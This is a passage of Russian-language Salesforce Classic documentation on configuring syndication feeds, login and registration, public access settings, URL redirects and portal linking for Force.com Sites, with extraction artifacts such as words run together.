Дополнительно. Содержимоезаписитипа text, html или xhtml. Например, ect:
html для HTML-содержимого. По умолчанию используется значение text.

ect

Дополнительно. Ссылка на запись. Рекомендуем использовать действительный URI.
Как правило, данное значение соответствует ссылке на другое представление

el

содержимого записи. Например, ссылка на запись в пользовательском интерфейсе
Salesforce. Как правило, программы чтения новостей обрабатывают данный элемент
путем связывания заголовка канала с данным URL-адресом. Например,
el:"Account.URl".

Дополнительно. Сводка записи. Дополнительная сводка по содержимому записи.
Например, et: Account.Name, es: Account.Name + "’s account

es

number, website, and description", ec: Account.AccountNumber
+ " " + Account.Website + “ “ + Account.Description

Впротивномслучае, программычтенияновостейотображаютсодержимое, заданное
посредством элемента ec.

Дополнительно. Сводка записи типа text, html или xhtml. Например, est:
html для HTML-содержимого. Поумолчаниюиспользуется значение text. Прежде
чем задать значение, рекомендуем определить элемент es.

est

Обязательно. Заголовок записи, имя поля. Например, et:Имя.et

Дополнительно. По умолчанию значение <updated> обязательного элемента
ATOM автоматически извлекается из параметра LastModifedDate основного

eu

запрашиваемогообъекта; как правило, объекта в основномоператоре FROM запроса
SOQL. Данное значение определяет время последнего изменения записи или канала.
Чтобы изменить данный стандартный алгоритм, выберите другой объект или
воспользуйтесь параметром поля LastModifedDate. Например:

• Запрос: SELECT Id, Name, MyDate__c FROM Account Параметр
соотнесения: eu: MyDate__c
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ОписаниеЭлемент
записи

Элемент
канала

• Запрос: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
Contact Параметр соотнесения: eu: Account.LastModifiedDate

Пример ниже содержит допустимые значения соотнесения для канала распределения.

ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html

Каналы отображаются в контексте пользователя-гостя соответствующего общедоступного сайта. Таким образом,
настраиваемые метки, используемые для управления локализацией, и метки, заданные для соотнесения, отображаются
на языке пользователя-гостя. Дополнительную информацию см. в подразделе «Настраиваемые метки и каналы» на
странице 5295.

Соотнесение каналов поддерживается только строковыми литералами. Система запрещает использовать литералы дат
(например, TODAY или LAST_WEEK).

Созданный канал должен быть протестирован и активирован посредством флажка «Активно»  (см. описание выше).
Дополнительную информацию о тестировании см. в разделе «Тестирование каналов распределения» на странице 5298.

Использование переменных связывания для запросов и соотнесения

Переменныесвязываниямогутиспользоватьсявоператоре WHERE запроса SOQL. Переменныесвязываниядолжныиспользовать
следующийформат:

{!var_name}

Запрос, приведенный ниже, использует переменную связывания accountID.

SELECT Name, Description
FROM Account
WHERE Id = {!accountID}

Обратите внимание, что данное имя поля является произвольным. При выполнении значение переменной связывания
accountID передается в запрос из URL-адреса. Данный канал доступен посредством URL-адреса ниже и передает код
организации как часть строкового параметра запроса.

site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

Кроме того, переменные связывания могут использоваться для соотнесения значений.

Ниже перечислены рекомендации по использованию переменных связывания для запросов.

• Определение канала, запросы и соотнесение могут содержать не более 20 переменных связывания.

• Имя переменной связывания может содержать не более 100 символов.

• Переменная связывания может использоваться только справа от операции фильтра как часть строки. Переменная
связывания, соответствующая части строки, должна быть заключена в кавычки. Ниже приведен пример допустимого
запроса.

SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'
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Запросы ниже являются недопустимыми ввиду неправильного расположения переменной связывания, а также ее
недоступности в качестве переменной текстовой строки.

SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'
SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

• Переменная связывания не может использоваться для отображения имени поля. Другими словами, переменная
связывания не может использоваться слева от операции фильтра.

• Изсоображенийбезопасностипеременнаясвязываниянеможетиспользоватьсядляизменениязначенияилиструктуры
запроса. Приоценке запросалюбыеспециальныесимволы, указанныевновомзначениисвязывания, обрабатываются
как литералы.

Настраиваемые метки и каналы

Если каналы должны быть локализованы на разные языки, то система позволяет использовать настраиваемые метки для
мультиязычногоопределениястроки. Затемнастраиваемаяметкаиспользуетсявопределениисоотнесения. Приполучении
запроса настраиваемая метка анализирует язык пользователя-гостя и возвращает переведенный текст, который затем
используется при соотнесении.

Настраиваемые метки могут быть заданы в поле посредством синтаксиса ниже.

map_element_name: "{!$LABEL.custom_label_name}"

Чтобы задать настраиваемую метку в канале, выполните указанные ниже действия.

1. Введите строку «Настраиваемые метки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Настраиваемыеметки». Имянастраиваемойметкиможет соответствовать элементу соотнесения, принимающему
ее значение (например, имя feedTitle для элемента ft).

2. Введите значения на всех поддерживаемых языках.

3. Укажите настраиваемую метку в соотнесении каналов.

Например, создайте канал, содержащий сведения обо всех домах, реализуемых компанией. Канал должен отображать
заголовок «The Houses» для англоговорящих пользователей, но заголовок «Дома» для русскоговорящих пользователей.
Создайтенастраиваемуюметку (например, feedTitle). Прииспользованиианглийскогоязыкаметкабудетотображать
значение «The Houses», а русского языка — значение «Дома». Затем укажите строку ниже для заголовка канала fc: в
определении соотнесения каналов.

ft: "{!$LABEL.feedTitle}"

Visualforce и каналы

Чтобы добавить канал на страницу Visualforce, воспользуйтесь стандартными HTML-функциями Visualforce. Например,
страница Visualforce, размещенная в основном каталоге сайта, содержит тег ниже.

<A HREF=""/services/xml/theFeedName">My feed</A>

Текст My feed ссылается на канал.

Чтобы добавить ссылку на канал в изображение, добавьте тег встроенного изображения ниже.

<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

Рекомендуем загрузить собственное изображение.
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Чтобы добавить значок в адресную строку, добавьте тег ссылки в тег <head> страницы Visualforce.

<link href='URI of feed'
type='application/x.atom+xml'
rel='feed'
title='A nice descriptive title'/>

СМ. ТАКЖЕ:

Общие сведения о каналах распределения

Тестирование каналов распределения

Общие сведения о каналах распределения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления определения
канала:
• «Изменение всех

данных»

Для подписки на канал:
• Специальные

полномочия не
требуются

Благодаря каналам распределения, пользователи могут подписываться на изменения,
происходящиена сайтах Force.com, а такжеполучатьобновлениядля внешнихпрограмм
чтения новостей. Чтобы передать конечным пользователям изменения, внесенные в
общедоступные данные, рекомендуем создать запрос SOQL и выполнить соотнесение.
Системапозволяетсоздаватькакминимумодинканалраспределениядляобщедоступных
сайтов или любых страниц Visualforce организации. Канал распределения отображает
записи, определенные запросом SOQL. Пользователи могут подписываться на канал и
просматривать его при посещении сайта или страницы.

Проверка безопасностиканалов

При подписке на канал информация отображается в контексте пользователя-гостя.
Прежде чем задать запрос, рекомендуем убедиться, что пользователю-гостю доступны
все записи, предназначенные для гостей.

Чтобы проверить безопасность каналов, выполните указанные ниже действия.

• Чтобы предоставить пользователю-гостю соответствующие полномочия объекта
и параметры безопасности поля, измените параметры общего доступа для сайта.

• Чтобыопределитьзаписи, доступныепользователю-гостю, создайтеправилаобщего
доступа.

Еслипараметрыобщего доступа и безопасностиполя разрешаютпользователю-гостю
доступ к объектам, которые должны быть добавлены в канал, выполните любое из
указанных ниже действий.

• Чтобы создать канал, нажмите кнопку «Создать».

• Чтобы просмотреть определение текущего канала, щелкните имя нужного канала.

• Чтобы изменить текущий канал, щелкните «Правка».

• Чтобы удалить текущий канал, щелкните «Удалить».

• Чтобы протестировать допустимость канала, щелкните «Выполнить тест». Сообщения об ошибках отображаются
только при наличии ошибок в определении запроса или соотнесении.

СМ. ТАКЖЕ:

Определение каналов распределения

Тестирование каналов распределения
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Просмотр каналов распределения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления определения
канала:
• «Изменение всех

данных»

Для подписки на канал:
• Специальные

полномочия не
требуются

Система позволяет просматривать определение канала распределения, включая
возвращаемые записи и отображаемые данные.

Имя
Описательное имя данного канала, отличающее его от других созданных каналов.

Описание
Описание канала. Например, «Личноеимя, фамилияирегиондляпоследнихдесяти
созданных или измененных организаций».

Запрос
Запрос SOQL, определяющийзаписи, которыевозвращаютсявканалраспределения.
Запрос SOQL отличается некоторыми ограничениями, позволяющими повысить
производительность. Дополнительную информацию см. в разделе «Определение
каналов распределения» на странице 5291.

Соотнесение
Каналы распределения используют протокол веб-публикации ATOM, поэтому
значение соотнесения должно соответствовать объектам и полям возвращенных
записей с конструкциями ATOM. Обратите внимание, что все значения должныбыть
представленыстроковымилитералами. Дополнительнуюинформациюобэлементах
соотнесения см. в разделе «Определение каналов распределения» на странице 5291.

Время хранения кэша (в секундах)
Канал может одновременно использоваться несколькимипользователями, поэтому
система Salesforce кэширует данные канала на 3 600 секунд (по умолчанию).
Минимальное значение составляет 300 секунд, максимальное — не ограничено.
Результаты запроса, срок хранения которых превышает заданное значение,
пропускаются, а новый запрос выполняется при следующем запросе данной
информации, то есть, при следующем открытии страницы, содержащей канал, на который подписан пользователь.

Активно
Данныйфлажокопределяетдоступностьканаладляподсписки. Пользователимогутподписыватьсятольконаактивные
каналы.

СМ. ТАКЖЕ:

Общие сведения о каналах распределения

Тестирование каналов распределения
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Тестирование каналов распределения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
удаления определения
канала:
• «Изменение всех

данных»

Для подписки на канал:
• Специальные

полномочия не
требуются

Прежде чем предоставить клиентам доступ к каналу, рекомендуем протестировать
созданное определение канала.

Чтобы протестировать канал, выполните указанные ниже действия.

1. После создания ленты введите в меню «Настройка» «Сайты» в поле «Быстрый
поиск», затем выберите «Сайты» ищелкните сайт, для которого вы определили
ленту. Чтобыоткрытьстраницусведенийоканале, воспользуйтесьлюбымдоступным
способом, включая выбор имени нужного канала на странице сведений о сайте.

2. Щелкните «Предварительный просмотр» напротив нужного канала.

3. Диалоговоеокноотображается толькоприналичиикакминимумоднойпеременной
связыванияв канале. Введите тестовое значениедля каждойпеременнойсвязывания.

4. При этом отображается диалоговое окно, позволяющее создать закладку на канал с
указанными значениями переменной связывания. Сохраните закладку или закройте
диалоговое окно.

5. При этом отображаются значения, возвращенные каналом. Убедитесь, что
возвращенные результаты соответствуют ожидаемым.

СМ. ТАКЖЕ:

Определение каналов распределения

Общие сведения о каналах распределения

Управление параметрами регистрации и входа на сайтах Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Параметры входа позволяют предоставлять пользователям возможность регистрации
и входа на портал посредством общедоступных сайтов Force.com. Например,
пользователи, просматривающие сайт идей, могут регистрироваться и выполнять вход
прямо посредством данного сайта, а также голосовать, добавлять комментарии и
участвовать в сообществе идей в качестве проверенных пользователей. Пользователи,
выполнившие вход, покидают общедоступный сайт и получают доступ к связанному
порталу.

Прим.: Самостоятельная регистрация доступна только на клиентских порталах.
Партнерские порталы не поддерживают самостоятельную регистрацию.

Лицензияпользователямассовогопортала «Проверенныйвеб-узел»предназначена
для использования сайтов Force.com. Данная лицензия обеспечивает не только
массовое, но и экономичное использование сайтов Force.com.

Сайты Force.com поддерживают встроенную логику регистрации и входа. Стандартные
страницы Visualforce, разработанные на платформе Force.com, используются для
регистрации, входа, восстановленияилиизмененияпароля. Принеобходимостиизмените
данные страницы или замените их собственными страницами.

Ниже перечислены стандартные страницы регистрации и входа.
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ОписаниеИмя страницы

Стандартная страница входа. Данная страница
предназначена для входа пользователей на связанный
портал посредством сайта Force.com.

SiteLogin

Стандартная страница регистрации. Данная страница
предназначена для регистрации новых пользователей

SiteRegister

связанного клиентского портала посредством сайта
Force.com.

Стандартнаястраницаподтверждениярегистрации. Данная
страница отображается пользователям при успешной
регистрации на связанном клиентском портале.

SiteRegisterConfirm

Прим.: Формырегистрацииивходадолжныбытьбезопасными. Рекомендуемзадать атрибуту forceSSL значение
true дляданныхформ. Темнеменее, компанияSalesforceрекомендует задать атрибуту forceSSL значение false
дляформ, доступныхпровереннымпользователям (например, пользователипортала). Атрибут forceSSL выполняет
переадресацию на безопасный URL-адрес, поэтому проверенным пользователям будет отображаться ошибка.

Встроенный процесс входа:

• Проверяет сайт на поддержку входов

• Проверяет пользователя на наличие доступа к сайту

• Позволяет пользователям сбрасывать истекшие пароли

Встроенный процесс регистрации:

• Сравнивает сведения о новом пользователе с текущими пользователями клиентского портала, связанного с сайтом

• Проверяет наличие контакта для нового пользователя

• Создает контакт (при его отсутствии) и связывает его с организацией сайта

Важное замечание: Чтобы обновить SiteRegisterController посредством кода организации, выполните указанные
ниже действия.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы
Apex».

2. Щелкните ссылку «Правка» напротив SiteRegisterController.

3. Найдите строку private static Id PORTAL_ACCOUNT_ID = '<Код_организации>'; и вставьте
кодорганизации, котораядолжнабытьсвязанасновымипользователями. Строкадолжнавыглядетьпримерно
следующим образом:

private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Нажмите кнопку «Сохранить».

• Включает клиентский портал для нового пользователя и отправляет электронное подтверждение

• Принеобходимостипозволяетпользователямсоздаватьпаролинастраницерегистрациибезприменениястандартного
процесса электронного подтверждения
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Прим.: Принеобходимостисоздайтеивключитеорганизацию-лицов качествепользователя клиентскогопортала
посредством метода Apex createPersonAccountPortalUser. Рекомендуем использовать метод
createPersonAccountPortalUser для создания организации-лица посредством стандартного типа записи,
заданноговпрофилепользователя-гостя, иливыбранноготипазаписи, ипоследующеговключенияорганизации-лица
для портала сайта.Организации-лица могут быть включены только как пользователи массового портала.

Чтобы включить общедоступные процессы входа и регистрации для портала, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Щелкните «Параметры входа».

4. Нажмите кнопку «Правка».

5. Выберите нужный портал в списке «Включить вход для:». Выбранный портал должен быть помеченфлажком «Вход
включен». Рекомендуемтакжеустановитьфлажок «Самостоятельная регистрация включена» дляклиентскихпорталов.
Force.com Sites использует следующие параметры портала:

• Параметр «URL-адрес выхода» используется для переадресации пользователей, выполнивших выход, на
конкретную страницу. Если данное поле пропускается, то пользователи переадресовываются на страницу,
указанную в поле «Активная начальная страница сайта».

• Параметр «Шаблон восстановления пароля» используется для восстановления пароля.

• Параметры «Верхний колонтитул», «Нижний колонтитул», «Логотип» и «Приветствие при входе» используются
для оформления внешнего вида страниц IdeasHome и AnswersHome.

• Для клиентских порталов:

– Параметр «Шаблон создания пользователя» используется для самостоятельнойрегистрацииприотсутствии
пароля.

– Параметры «Стандартная лицензия нового пользователя», «Стандартная роль нового пользователя» и
«Стандартный профиль нового пользователя» используются для самостоятельной регистрации.

6. Выберите пункт «Страница изменения пароля». При необходимости выберите собственную страницу взамен
стандартной посредством поля поиска.

7. Чтобы переопределить параметры безопасности организации и использовать HTTP только при входе на портал
посредством сайта, установите флажок «Требовать небезопасные подключения (HTTP)». Если данныйфлажок
неустановлен, тодляопределенияуровнябезопасностииспользуетсяпараметр «Требовать безопасные подключения
(HTTPS)» на странице «Параметры сеанса» в меню «Настройка».

Таблица ниже отображает взаимосвязь между данными параметрами.

ОписаниеБезопасность организации:
требовать безопасные
подключения (HTTPS)

Безопасность сайта: требовать
небезопасныеподключения (HTTP)

Флажок не установленФлажок не установлен • Организацияможетиспользовать
HTTP или HTTPS

• Сайт использует HTTP для сеанса
после входа
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ОписаниеБезопасность организации:
требовать безопасные
подключения (HTTPS)

Безопасность сайта: требовать
небезопасныеподключения (HTTP)

Флажок не установленФлажок установлен • Организацияможетиспользовать
HTTP или HTTPS

• Сайт использует HTTP для сеанса
после входа

ПровереноФлажок не установлен • Организация использует только
HTTPS

• Сайт использует HTTPS для сеанса
после входа

• При входе пользователям
отображается домен
secure.force.com.

ПровереноПроверено • Организация использует только
HTTPS

• Сайт использует HTTP для сеанса
после входа

Внимание: Еслифлажок «Требовать безопасные подключения (HTTPS)» установленнастранице «Параметры
сеанса», а флажок «Требовать небезопасные подключения (HTTP)» отсутствует на странице «Параметры
входа», то пользователям, выполняющим вход на связанный портал посредством сайта, отображается домен
secure.force.com. Например, при регистрации настраиваемого домена moyakompaniya.force.com
используется следующий URL-адрес входа: https://moyakompaniya.secure.force.com.

Клиенты, использующиесценарийдлявходанасайты, могутиспользоватьдополнительныйпараметр URL-адреса
(refURL), позволяющий сохранять имя настраиваемого домена после входа. Данный параметр не применяется
приналичиифлажка «Требовать небезопасные подключения (HTTP)», установленногодля сайта, илифлажка
«Требовать безопасные подключения (HTTPS)», установленного для организации. Пример URL-адреса,
использующего параметр refURL:
http://moisait.secure.force.com/SiteLogin?refURL=http://moisait.com.

8. Поле «Безопасный веб-адрес» отображает уникальный URL-адрес Force.com для данного сайта при использовании
SSL.

9. Нажмите кнопку «Сохранить».

При необходимости разрешите сайтам использование поставщика удостоверений для единой регистрации.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Связывание портала с Force.com Sites

Методы и выражения Apex, связанные с Force.com Sites
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Параметры общего доступа для Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Для редактирования
параметров общего доступа
для сайтов Force.com:
• «Управление

пользователями»

Параметрыобщего доступа определяют действия, доступные пользователямна каждом
сайте Force.com. Чтобызадатьпараметрыобщегодоступадля сайта, выполнитеуказанные
ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните имя нужного сайта.

3. Чтобы открыть страницу «Профиль» для профиля сайта, щелкните «Параметры
общего доступа».

Данная страница содержит всефункции для просмотра и редактирования полномочий
и параметров профиля, но не позволяет клонировать и удалять профиль.

Ниже перечислены действия, доступные в профиле сайта.

• Назначьте полномочия объекта для сайта. Система позволяет предоставлять
полномочия «Чтение» и «Создание» длявсех стандартныхобъектов, кромепродуктов,
прайс-листов и идей, а полномочия «Чтение», «Создание», «Редактирование» и
«Удаление» для всех настраиваемых объектов.Полномочия, которые не были
предоставлены по умолчанию, должны быть предоставлены вручную.

Внимание: Рекомендуем задать объектам, доступным на сайте для чтения,
параметр общего доступа «Личный». Данное действие гарантирует, что
пользователи, открывающиесайт, смогутпросматриватьиредактироватьтолько
данные, связанные с сайтом.

Кроме того, рекомендуем обезопасить доступность всех списковых
представлений. Выберите уровень доступности «Доступно определенным
группам пользователей» для списковых представлений и укажите нужные
группы. Списковые представления, которым назначен уровень доступности
«Доступно всем пользователям», могут отображаться общедоступным
пользователям сайта. Чтобы предоставить общедоступным пользователям
доступ к списковому представлению, рекомендуем создать общедоступную
группуиопределитьуровеньдоступности. Объекты, которымназначенуровень
общего доступа «Личный», не могут просматриваться общедоступными
пользователями, независимо от доступности спискового представления.

• Определите доступность настраиваемых приложений. Чтобы предоставить общедоступным пользователям доступ
к настраиваемому приложению и связанным вкладкам, рекомендуем разрешить только доступность приложения и
выбрать его в качестве стандартного. Если страница сайта использует стандартные верхние колонтитулы Salesforce,
то общедоступные пользователи могут просматривать другие доступные приложения.

• Выберите время входа пользователей на сайт.

• Выберитедиапазоны IP-адресов входана сайт. Сайты Force.comпропускаютединыеограничениядиапазона IP-адресов,
но поддерживают их настройку.

Прим.: Чтобызадатьограничениянаоснове временивходаилидиапазона IP-адресов, рекомендуемиспользовать
HTTPS. Чтобы получить доступ к сайту, рекомендуем использовать безопасный URL-адрес, связанный с доменом
Force.com.

Чтобы использовать HTTPS на всех страницах сайтов Force.com и разрешить всем IP-адресам доступ к сайту,
рекомендуем создать следующие диапазоны IP-адресов: 0.0.0.0  — 255.255.255.255, ::  —
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::fffe:ffff:ffff и ::1:0:0:0  — ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. Рекомендуем
не использовать HTTPS без необходимости, так как данный протокол может снизить производительность сайта.
Заменапротокола HTTP протоколом HTTPS влияетна зарегистрированныхпользователейтолькоприследующем
входе.

The IP addresses in a range must be either IPv4 or IPv6. IPv4-адреса находятся в диапазоне IPv6-адресов, соотнесенных
спротоколом IPv4 (::ffff:0:0  — ::ffff:ffff:ffff, где ::ffff:0:0 присваиваетсязначение 0.0.0.0,
а ::ffff:ffff:ffff  — значение 255.255.255.255). A range can’t include IP addresses both inside and outside
of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255  to ::1:0:0:0  or ::  to ::1:0:0:0  aren’t
allowed.

• Включите контроллеры и методы Apex для сайта. Контроллеры и методы, связанные со страницами Visualforce сайта,
включены по умолчанию.

• ВключитестраницыVisualforceдлясайта. Внесенныеизмененияотображаютсявсвязанномсписке «СтраницыVisualforce
сайта» на странице «Сведения о сайте», и наоборот.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Методы и выражения Apex, связанные с Force.com Sites

Создание настраиваемых списковых представлений в Salesforce Classic

Переадресации URL-адресов Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
переадресаций URL-адресов
сайта:
• «Настройка

приложения»

Для просмотра
переадресаций URL-адресов
сайта:
• «Просмотр настройки»

Новыеадреса страниц, созданныеврезультатеперемещенияилиреорганизациистраниц
сайта Force.com, могут быть недоступны поисковым системам. Во избежание подобной
ошибки, рекомендуемнастроить переадресации URL-адресов сайта, позволяющиеуведомлять
пользователей и поисковые системы о переносе содержимого сайта.

Ниже перечислены рекомендации по внедрению переадресаций URL-адресов сайта.

• Страницы ошибок и CSS-файлы не могут быть переадресованы.

• Каждый сайт может использовать не более 1 000 правил переадресации.

• Параметрызапросавпереадресациях URL-адресовсайтадолжныполностьюсовпадать.
URL-адреса, содержащие параметр lastMod, не могут быть переадресованы.

• Перезапись URL-адреса, включенная на сайте, выполняется после любой
переадресации страницы сайта.

• Начальная страница сообщества может быть переадресована на дополнительную
начальнуюстраницу Site.com. Заполнитеполе «URL-адресисточника» значением «/»,
соответствующим начальной странице сообщества, а поле «Целевой URL-адрес»
значением «s», соответствующим начальной странице сайта Site.com.

Чтобыназначить переадресациюстранице сайта, выполните указанные ниже действия.

1. Введите строку «Сайты» в поле «Быстрый поиск» вменю «Настройка» и выберите
пункт «Сайты».

2. Щелкните метку сайта.

3. Щелкните «Переадресации URL-адресов» на странице сведений о сайте.

4. Введите предыдущий адрес страницы в поле «URL-адрес источника». Адрес
страницы...
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• Должен быть относительным и может содержать любое допустимое расширение (например, .html или .php).

• Не может содержать привязок (например, /префикс_сайта/страница.html#цель).

Прим.: Организации, использующиесайтыспрефиксами, должнывручнуюдобавитьпрефиксвполя «URL-адрес
источника» и «Целевой URL-адрес». Кроме того, если организация, использующая корневой сайт и сайт с
префиксом, требует переадресации страницы сайта с префиксом без добавления префикса в правило
переадресации, то система Salesforce по умолчанию будет выполнять поиск правила на корневом сайте и
возвращать ошибку 404.

5. Заполните поле «Тип переадресации».

• «Постоянно (301)»: данное значение позволяет пользователям и поисковым системам обновлять URL-адрес при
просмотре страницы. Данный тип переадресации позволяет беспрепятственно перенаправлять пользователей
на новую страницу. Данный тип переадресации позволяет сохранить популярность URL-адресов в поисковых
системах, которые, в свою очередь, выполняют индексацию новой страницы и удаляют из индекса предыдущий
URL-адрес.

• «Временно (302)»: данное значение позволяет пользователям и поисковым системам продолжать использование
исходного URL-адреса страницы. Поисковые системы обрабатывают данный тип переадресации как доступную
для изменения, поэтому сохраняют URL-адрес источника наряду с индексациейи обработкой содержимогоновой
целевой страницы.

6. Введите новый адрес страницы в поле «Целевой URL-адрес». Данный адрес может быть относительным или
полностью определенным с префиксом http:// или https://. В отличие от URL-адресов источника, целевые
URL-адреса могут содержать привязки.

7. Нажмите кнопку «Сохранить».

Раздел «Правилапереадресации» содержитвсеправилапереадресации URL-адресов, созданныедлясайта. Нижеперечислены
действия, доступные в данном разделе.

• Измените назначенное правило переадресации.

• Активируйте или деактивируйте правило переадресации.

• Удалите правило переадресации.

• Чтобыизменить порядок сортировки, щелкните заголовок столбца «URL-адрес источника» или «Целевой URL-адрес».

СМ. ТАКЖЕ:

Общие сведения о Force.com Sites
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Связывание портала с Force.com Sites

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Пользователимогутрегистрироватьсяивыполнятьбеспрепятственныйвходнасвязанный
портал посредством сайта.

Прим.: Самостоятельная регистрация доступна только на клиентских порталах.
Партнерские порталы не поддерживают самостоятельную регистрацию.

Лицензияпользователямассовогопортала «Проверенныйвеб-узел»предназначена
для использования сайтов Force.com. Данная лицензия обеспечивает не только
массовое, но и экономичное использование сайтов Force.com.

1. Чтобы включить вход на портал, выполните указанные ниже действия.

a. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в
меню «Настройка», затем выберите пункт «Параметрыклиентского портала»
или введите строку «Партнеры» в поле «Быстрый поиск» и выберите пункт
«Параметры».

b. Установитефлажок «Включить клиентский портал» или «Включить функцию
управления отношениями с партнерами» и нажмите кнопку «Сохранить».

c. Щелкните ссылку «Правка» напротив нужного портала.

d. Настройте портал.

i. Установите флажок «Вход включен».

ii. Выберите пользователя в поле «Администратор».

iii. Принеобходимости заполните поле «URL-адрес выхода». Если данное поле пропускается, то пользователи,
выполняющие выход, переадресовываются на начальную страницу сайта.

iv. Нажмите кнопку «Сохранить».

2. Чтобы разрешить самостоятельную регистрацию при использовании клиентского портала, выполните указанные
ниже действия.

a. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Параметры клиентского портала».

b. Щелкните ссылку «Правка» напротив нужного портала.

c. Настройте клиентский портал.

i. Установите флажок «Самостоятельная регистрация включена».

ii. Выберите пользователя клиентского портала в полях «Стандартная лицензия нового пользователя» и
«Стандартный профиль нового пользователя». В зависимости от лицензии портала, пользователь может
выбрать другой профиль в поле «Стандартный профиль нового пользователя».

iii. Выберите пользователя в поле «Стандартная роль нового пользователя».

iv. Нажмите кнопку «Сохранить».

Прим.: Ниже перечислены рекомендации по включениюфункции самостоятельной регистрации.

• Сайты не поддерживают использование организаций-лиц для самостоятельной регистрации.

• При самостоятельной регистрации посредством сайта:

– Правила проверки применяются при создании пользователя.
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– Правила проверки пропускаются при создании контакта.

3. Чтобы связать страницы сайта со стандартными пользователями портала, выполните указанные ниже действия.

a. Введите строку «Параметры клиентского портала» в поле «Быстрый поиск» в меню «Настройка», затем выберите
пункт «Параметрыклиентскогопортала»иливведите строку «Партнеры» вполе «Быстрый поиск» ивыберите
пункт «Параметры».

b. Щелкните имя нужного портала.

c. Щелкните имя каждого профиля, связанного с пользователями портала, и выполните указанные ниже действия.

i. Прокрутите страницу вниз до раздела «Доступ к странице Visualforce включен» и нажмите кнопку «Правка».

ii. Добавьте соответствующие страницы общедоступного сайта в список «Включенные страницы
Visualforce». Данное действиепозволяет пользователямпортала с выбраннымпрофилемпросматривать
данные страницы.

Прим.: По умолчанию пользователи портала могут просматривать все страницы, включенные для
связанногообщедоступногосайта, поэтомурекомендуемвключитьтолькостраницы, требующиепроверки
подлинности.

iii. Нажмите кнопку «Сохранить».

4. Чтобы связать сайт с порталом, поддерживающим вход, выполните указанные ниже действия.

a. Введите строку «Сайты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Сайты».

b. Щелкните метку нужного сайта.

c. Щелкните «Параметры входа».

d. Нажмите кнопку «Правка».

e. Выберите имя нужного портала в раскрывающемся списке «Включить вход для:».

f. Выберите пункт «Страница изменения пароля».

g. Нажмите кнопку «Сохранить».

Если сайты поддерживают сообщества «Идеи», «Ответы» и Chatter Answers, рекомендуем разрешить отображение зоны
напорталеивключитьстраницу IdeasHome или AnswersHome длясайта. Чтобысвязать зонукакминимумсоднимпорталом,
выполните указанные ниже действия.

1. Откройте «Настройки» и введите в поле «Быстрый поиск» одну из следующих строк.

• Идеи зон

• Зоны Chatter Answers

• Зоны ответов

2. Щелкните ссылку «Правка» напротив нужной зоны.

3. Выберите портал, который должен использоваться для данной зоны, в раскрывающемся списке «Портал». При
необходимости зоны могут отображаться на всех порталах.
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Прим.: Зона «Идеи» может использоваться на сайтах только в том случае, если организации доступен активный
связанный портал. В противном случае система возвращает ошибки.

СМ. ТАКЖЕ:

Настройка Force.com Sites

Управление параметрами регистрации и входа на сайтах Force.com

Управление страницами Visualforce сайтов Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Сайты Force.com используют страницы Visualforce для всех страниц ошибок и страниц
сайта. Типовые страницы ошибок используют статический ресурс SiteSamples для
таблицы стилей и изображений.

Внимание: Переименованиеилиудаление статическогоресурса SiteSamples может
инициировать ошибку.

Все страницы, которые должны отображаться на сайте, должны быть связаны с
